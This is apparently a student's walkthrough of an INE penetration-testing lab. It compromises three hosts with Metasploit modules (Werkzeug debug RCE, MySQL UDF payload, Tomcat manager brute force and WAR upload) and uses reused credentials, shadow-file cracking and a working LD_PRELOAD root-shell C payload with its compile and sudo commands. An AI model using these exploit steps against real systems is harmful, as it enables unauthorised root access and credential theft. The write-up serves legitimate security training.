INE - BlackBox3

First, I checked the IP of my machine. I just recently discovered the ability to color the results of the ip command, hence I used the -c flag for some pizzaz.

As we can see, we are dealing with a /24 address again, and this time the machines are within the range 192.133.10.0/24.

Next, I ran an nmap command to enumerate the range to find the machines and already search for vulnerabilities or exploits.

nmap -ss -sV -O -sC -oN /root/Desktop/nmapresults.txt 192.133.10.0/24

This resulted in the following findings:

Here, we can see three targets, aptly named target-1, target-2, and target-3. Target-1 has Werkzeug running on port 80 - this is not the first time I have seen werkzeug, and I know there are two main exploits for it. One that allows for reconstructing the admin pin used to login to the web interface, or another that allows for code execution if the debugger option is enabled. Target-2 is running a mysql instance on its standard port, and target-3 is running both a SSH daemon on its standard port and a Tomcat endpoint on port 8080. As we can see from the nmap scripting command, -sC, nmap tested for available methods and found that PUT and DELETE were active. That could be interesting.

First I can dirb against port 80, since this is the only port open on this machine.

dirb http://target-1:80/

The results were as expected for a standard Werkzeug installation.

As you can see from the screenshot above, I also curled the URL to check if the page would load, activate the debugger, or simply send me to the /console login page. Thankfully, it instantly activated the debugger mode with a glaring "Debugger has turned on" message.

Next step, then, was to load up the Werkzeug module from metasploit.

use exploit/multi/http/werkzeug_debug_rce

The Werkzeug module does not need many settings.

set RHOSTS target-1
set LHOST 192.133.10.2
exploit

The script-kiddie in me smiles, this was simple enough. We now have a meterpreter shell open to target-1.

Now, let the system enumeration begin! From the above screenshot, we can see we are already root. Please note server1 is target1 in the Computer line. First step in enumerating this machine was to run an ifconfig to check if there were no other networks connected to this box. The engagement rules did not specify how many targets, so I am not sure if I have to pivot or not. Nope, nothing found. Next, we run the standard linux gather scripts with msf.

use linux/gather/enum_system
set SESSION 1
run
use linux/gather/enum_users_history
set SESSION 1
run

Enum_system resulted in the following being gathered.

Enum_users_history resulted in the following files, please note it only found two files, which could mean it did a bad job or these were placed to be easily found. Both are interesting files. It found some log files, but also most interesting was a bash history file for a user called auditor.

Both these commands resulted in quite a large amount of files. Which were carefully combed through for any interesting information.

This was quite predictable, if I say so myself, but of course the bash history file for the auditor user had some interesting commands for us. Notably, it had a mysql command connecting to the target-2 machine, which included both the username and password hard-coded into the command.

I copy the command exactly, open a new terminal, paste it, and bam, we have connected to the mysql instance on target-2.

Now that we are connected to mysql on target-2, lets enumerate the databases to see what sort of useful information it may be hiding for us.

show databases;

Huh, this was anti-climatic. Nothing. All that is available are the standard mysql databases. This means we need to find another way to root this machine. Off we go to search for a mysql payload execution for metasploit.

Thankfully, we did not have to look far, for exploit/multi/mysql/mysql_udf_payload seems to be exactly what we need. Here, I attempted to run the exploit over and over, failing everytime to create a shell session once the exploit had finished running. I was thoroughly confused as to why it wasn't working, and did not pay attention to the ID flag at the bottom of the show options page. For some reason, this option to change from Windows to Linux was not showing on my options page so the fact that I was running a windows exploit on a linux box flew past me. When I searched the options online, the screenshot above, I finally found this ID flag.

set ID 1
exploit

Finally, a meterpreter shell opened.

I check sysinfo and getuid with meterpreter to see if I am already root.

Yup.

I did some further enumeration, using enum_system and enum_users_history, but to no avail. Off we go to look at target-3 proper, then.

We know target-3 is running two daemons, OpenSSH on port 22 and Apache Tomcat on port 8080. First, I navigate to port 8080 on my webbrowser to take a look at what it would present me - only the standard tomcat login alert. Dirb and or curl did not show anything interesting. Since I know this lab is focused on metasploit, from the enagement rules, I had an idea that msf would have something for me here, hence I search for some tomcat manager options.

search tomcat manager

Here, we have two interesting results, first, a login bruteforcer, and second, a upload feature that will allow for us to send a payload. I say both of these are interesting because the code uploaded says it needs to be authenticated. Hence, we start with cracking the username and password for Tomcat.

use exploit/multi/http/tomcat_mgr_login

Once the exploit was done running, we see that, thankfully for us, the login page uses one of tomcat's default username:password combos, in this case, tomcat:s3cret.

With this info, we are ready to use the upload exploit to take advantage of the WAR upload feature to deploy a payload that will result in a shell.

use exploit/multi/http/tomcat_mgr_upload

This results in a meterpreter shell.

As always, I run sysinfo to confirm what system we are logged into and getuid to see with which credentials we are logged in.

Bollocks, we are logged in as tomcat. We now have two options, we can bruteforce the root password using John The Ripper or we can continue enumerating further to find a way to move laterally or escalate. If you remember, we still have that SSH daemon running - it must be there for a reason. Anyways, I copy both the passwd file and shadow file to my Kali instance, and then copy them to my personal computer and off again to another remote machine to leave it cracking at the codes. I have found that these remote labs are rarely condusive to bruteforcing, and neither is my personal computer.

With both these files combined using John's unshadow feature, we can now let it loose trying to crack the passwords. Unfortunately, my wordlist was quite small and did not contain the passoword, and my HashCat skills are still in their infancy so I set John to incremental mode, aka BRUTEFORCE, and let start it. Sadness. It estimates 14 hours. Who has time for that?

First, I run the standard linux gather techniques, they result in no interesting files. As that is running, I also start looking at the files available to me with the list command.

This is interesting, this so-called "conf" directory is not standard in the Linux hiearchy. cd'ing into it shows us some interesting files, namely a tomcat-users xml and xsd file, as well as a zipped conf folder - a zipped file like this is definetely not system-produced. Let's download all of these to my machine and see what we can do with them.

The first two files, tomcat-users xml and xsd did not have anything in the, but, the conf zipped folder did have a username:password combo that I did not know of before!

I have a slight inkling that this is a combo that would work with SSH on port 22. So, off we go to attempt a login as robert. But, unfortunately as well robert is not root, so we have moved laterally but still need to escalate further.

Yup. As we expected, it worked. But now, we must find a way to escalate this ssh session into root. Here, a disclaimer…As stated in the intro, I tried multiple paths that I found online, even compiling and running a DirtyCow exploit, which did not work on this machine. As I was continuing my research on Linux priviledge escalation, I found this article that took advantage of shared libraries and LD_PRELOAD to escalate priviledges: https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/

As I started running through the steps to make this possible, notably the "sudo -l" command to check if this exploit is possible or not, I see the LD_PRELOAD enviroment tag is already set, meaning I can just compile and run a script to escalate my priviledges to root.

I follow the step-by-step on the website to create the shell.c file in the /tmp directory, and populate it with the following code:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

Once the file has been created, I compiled it with the following command (again, this are all taken from the website above):

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

Next, all we have to do is run the following command:

sudo LD_PRELOAD=/tmp/shell.so find

But it fails. Huh. I run "sudo -l" again to check what commands robert is allowed to run as a super user, and in our case, robert is allowed the list command, and not the find command like the example article. This is an easy fix, simply re-run the command above with the ls command.

sudo LD_PRELOAD=/tmp/shell.so ls

Yup, that seemed to have worked! Running the whoami command now outputs root instead of robert. As you can see in the C code above, all it does is take advantage of the LD_PRELOAD enviroment variable to set a new gid and uid as 0, or root. It then opens a shell session. This can also be seen in the screenshot above as we go from bash to shell.

Done, done, and done.